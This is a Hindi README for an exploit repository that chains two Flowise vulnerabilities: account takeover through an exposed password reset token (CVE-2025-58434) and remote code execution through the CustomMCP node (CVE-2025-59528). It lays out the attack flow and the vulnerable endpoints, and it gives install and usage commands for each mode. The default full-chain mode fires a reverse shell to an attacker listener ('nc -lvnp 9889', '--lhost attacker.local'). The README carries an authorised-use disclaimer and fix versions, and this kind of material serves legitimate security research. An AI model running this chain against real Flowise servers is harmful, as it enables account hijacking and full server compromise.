FlowiseAI CVE श्रृंखला - ATO (CVE-2025-58434) और RCE (CVE-2025-59528)

⚠️ केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए। इस उपकरण को उन प्रणालियों पर चलाना जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति नहीं है, अवैध है।

विषय सूची

इस रिपॉजिटरी में Flowise की दो कमजोरियों को जोड़ने के लिए एक Python प्रूफ-ऑफ-कॉन्सेप्ट शामिल है:

CVE-2025-58434 — उजागर पासवर्ड रीसेट टोकन व्यवहार के माध्यम से खाता अधिग्रहण।
CVE-2025-59528 — CustomMCP नोड में असुरक्षित JavaScript मूल्यांकन के माध्यम से दूरस्थ कोड निष्पादन।

Flowise LLM अनुप्रयोगों और AI एजेंट वर्कफ़्लोज़ के निर्माण के लिए एक ड्रैग-एंड-ड्रॉप प्लेटफ़ॉर्म है। CVE-2025-59528 Flowise 3.0.5 को प्रभावित करता है और 3.0.6 में ठीक किया गया था। यह समस्या CustomMCP नोड के अंदर mcpServerConfig के असुरक्षित प्रसंस्करण से उत्पन्न होती है। CVE-2025-58434 पासवर्ड रीसेट टोकन एक्सपोज़र से संबंधित है और इसे भी Flowise 3.0.6 में संबोधित किया गया था।

यह उपकरण समर्थन करता है:

कमजोरी जांच
खाता अधिग्रहण प्रवाह
लॉगिन और कुकी पुनर्प्राप्ति
प्रमाणित RCE
पूर्ण श्रृंखला मोड: ATO → लॉगिन → RCE

कमजोरी विवरण

CVE-2025-58434 — खाता अधिग्रहण

CVE ID: CVE-2025-58434
CVSS v3.1 स्कोर: 9.8 (गंभीर)
कमजोरी प्रकार: खाता अधिग्रहण / प्रमाणीकरण बाईपास
प्रभावित उत्पाद: Flowise
परीक्षित प्रभावित संस्करण: Flowise 3.0.5
निश्चित संस्करण: Flowise 3.0.6
प्रमाणीकरण आवश्यक: नहीं
प्रभाव: पासवर्ड रीसेट टोकन प्रकटीकरण, खाता अधिग्रहण

कमजोर पासवर्ड रीसेट प्रवाह API प्रतिक्रिया में अस्थायी पासवर्ड रीसेट टोकन सहित संवेदनशील उपयोगकर्ता डेटा को उजागर करता है। एक हमलावर जो एक मान्य उपयोगकर्ता ईमेल पता जानता है, पासवर्ड रीसेट का अनुरोध कर सकता है, प्रतिक्रिया से अस्थायी टोकन प्राप्त कर सकता है, और इसका उपयोग खाते के लिए एक नया पासवर्ड सेट करने के लिए कर सकता है।

कमजोर व्यवहार Flowise क्लाउड और सेल्फ-होस्टेड/लोकल डिप्लॉयमेंट को प्रभावित करता है जो समान API सतह को उजागर करते हैं। उपाय API प्रतिक्रियाओं में पासवर्ड रीसेट टोकन या संवेदनशील खाता रीसेट डेटा को कभी वापस नहीं करना है।

CVE-2025-59528 — दूरस्थ कोड निष्पादन

CVE ID: CVE-2025-59528
CVSS v3.1 स्कोर: 10.0 (गंभीर)
कमजोरी प्रकार: JavaScript कोड इंजेक्शन / दूरस्थ कोड निष्पादन
प्रभावित उत्पाद: Flowise
परीक्षित प्रभावित संस्करण: Flowise 3.0.5
निश्चित संस्करण: Flowise 3.0.6
प्रमाणीकरण आवश्यक: हाँ
प्रभाव: Node.js रनटाइम के अंदर मनमाना JavaScript निष्पादन, Flowise को होस्ट करने वाले सर्वर पर RCE

यह कमजोरी Flowise के CustomMCP नोड में मौजूद है। mcpServerConfig पैरामीटर MCP सर्वर कॉन्फ़िगरेशन प्रक्रिया के भाग के रूप में पार्स किया जाता है, और बिना किसी सुरक्षा सत्यापन के JavaScript कोड के रूप में मूल्यांकन किया जाता है। यह एक प्रमाणित हमलावर को मनमाना JavaScript कोड इंजेक्ट करने की अनुमति देता है, जो Flowise सर्वर के Node.js वातावरण में निष्पादित होता है। convertToValidJSONString फ़ंक्शन में, उपयोगकर्ता इनपुट Function कंस्ट्रक्टर को पास किया जाता है, जो इनपुट को पूर्ण Node.js विशेषाधिकारों के साथ JavaScript कोड के रूप में मूल्यांकन करता है, जिससे सिस्टम कमांड निष्पादित करने के लिए child_process जैसे मॉड्यूल तक पहुँच मिलती है।

इस PoC द्वारा उपयोग किया जाने वाला कमजोर एंडपॉइंट है:

POST /api/v1/node-load-method/customMCP

JSON बॉडी के mcpServerConfig फ़ील्ड में js पेलोड के साथ, उदाहरण के लिए:

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

कमजोर कोड CustomMCP.ts फ़ाइल में पाया जाता है, और CVE के लिए GitHub अनुरक्षक सलाहकार में संदर्भित है।

हमला प्रवाह

Attacker                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  user object + tempToken                 │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  password changed                        │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<crafted config>        │
   │─────────────────────────────────────────►│
   │                              JS evaluated in Node.js
   │                              command executed
   │◄─────────────────────────────────────────│
   │  command output or payload fired         │
   │                                          │
   ✓  Account takeover + authenticated RCE

रिपॉजिटरी संरचना:

Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

स्थापना

उपकरण

git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Docker प्रयोगशाला

git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # पर्यावरण चर कॉन्फ़िगर करें
docker-compose up -d

उपयोग

डिफ़ॉल्ट व्यवहार

बिना किसी तर्क के, उपकरण पूर्ण आक्रमण श्रृंखला चलाएगा, लक्ष्य कमजोरी की जाँच करेगा, प्रदान किए गए ईमेल के लिए खाता अधिग्रहण करेगा, कुकीज़ पुनर्प्राप्त करने के लिए लॉगिन करेगा, और फिर रिवर्स शेल पेलोड के साथ RCE कमजोरी का शोषण करेगा। पूर्ण श्रृंखला मोड में उपकरण निष्पादित करने से पहले एक समर्पित श्रोता (जैसे nc -lvnp 9889) चलाएं।

python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

सहायता स्क्रीन

python3 exploit.py -h

मोड

check-mode

यह निर्धारित करने के लिए एक संस्करण जाँच करता है कि लक्ष्य CVE-2025-58434 और CVE-2025-59528 के लिए कमजोर है या नहीं। यह लक्ष्य के API को एक अनुरोध भेजता है और Flowise संस्करण और कमजोरी की स्थिति की पहचान करने के लिए प्रतिक्रिया का विश्लेषण करता है।

python3 exploit.py --target http://localhost:3000 check

ato-mode

CVE-2025-58434 के लिए खाता अधिग्रहण प्रक्रिया निष्पादित करता है। यह निर्दिष्ट ईमेल के लिए एक पासवर्ड रीसेट अनुरोध भेजता है, प्रतिक्रिया से अस्थायी टोकन प्राप्त करता है, और फिर उस टोकन का उपयोग खाते के लिए एक नया पासवर्ड (डिफ़ॉल्ट: "Password123!") सेट करने के लिए करता है।

python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

निर्दिष्ट ईमेल और पासवर्ड (डिफ़ॉल्ट: "Password123!") का उपयोग करके लक्ष्य में लॉगिन करता है। सफल होने पर, यह प्रमाणित अनुरोधों में उपयोग के लिए प्रमाणीकरण कुकीज़ (जैसे connect.sid) पुनर्प्राप्त और प्रदर्शित करता है।

python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

Flowise-CVE-2025-58434-Chain-59528

सबसे लोकप्रिय